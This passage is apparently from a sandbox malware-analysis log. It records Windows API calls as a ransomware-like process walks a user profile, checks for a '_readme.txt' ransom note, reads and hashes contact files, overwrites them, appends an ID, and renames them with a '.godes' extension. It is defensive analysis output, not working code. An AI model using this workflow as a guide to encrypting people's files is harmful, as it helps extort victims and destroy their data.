cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.853] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0112.853] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.854] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.854] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.854] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.854] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.854] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.854] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.854] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.854] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0112.854] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0112.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd5136ef0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xd5136ef0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0112.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0112.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0112.855] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.855] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.855] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.855] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.855] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.855] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.855] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.856] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.856] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.856] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.856] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.856] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.856] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.856] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9682c550, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9682c550, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0112.856] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0112.856] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.856] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0112.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.857] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=1178) returned 1 [0112.857] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.859] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.859] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.860] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x49a, lpOverlapped=0x0) returned 1 [0112.860] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.861] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0112.862] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.862] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.862] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.862] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.862] SetLastError (dwErrCode=0x0) [0112.862] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.863] SetLastError (dwErrCode=0x0) [0112.863] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] GetLastError () returned 0x0 [0112.864] SetLastError (dwErrCode=0x0) [0112.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32593e0 | out: hHeap=0x660000) returned 1 [0112.864] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.864] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0112.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0112.864] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4a0) returned 0x331ea60 [0112.864] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.864] WriteFile (in: hFile=0x624, lpBuffer=0x331ea60*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x331ea60*, lpNumberOfBytesWritten=0x3b2fb24*=0x495, lpOverlapped=0x0) returned 1 [0112.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.865] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0112.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0112.865] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0112.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.865] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.865] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.865] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.865] CloseHandle (hObject=0x624) returned 1 [0112.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0112.866] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0112.866] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0112.866] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.godes")) returned 1 [0112.867] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.867] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0112.868] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0112.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.868] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0112.868] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.868] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0112.868] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.868] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=68382) returned 1 [0112.868] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.870] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.870] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.871] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.871] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.871] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.871] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0112.872] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.872] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0112.872] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.872] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.872] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0112.873] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.873] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.873] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0112.873] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.873] SetLastError (dwErrCode=0x0) [0112.873] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.874] SetLastError (dwErrCode=0x0) [0112.874] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] GetLastError () returned 0x0 [0112.875] SetLastError (dwErrCode=0x0) [0112.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32593e0 | out: hHeap=0x660000) returned 1 [0112.875] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.875] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0112.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0112.875] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10b20) returned 0x3321120 [0112.876] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.876] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.876] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x10b19, lpOverlapped=0x0) returned 1 [0112.877] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.877] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.877] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.877] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0112.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0112.877] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0112.877] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.877] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.877] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, 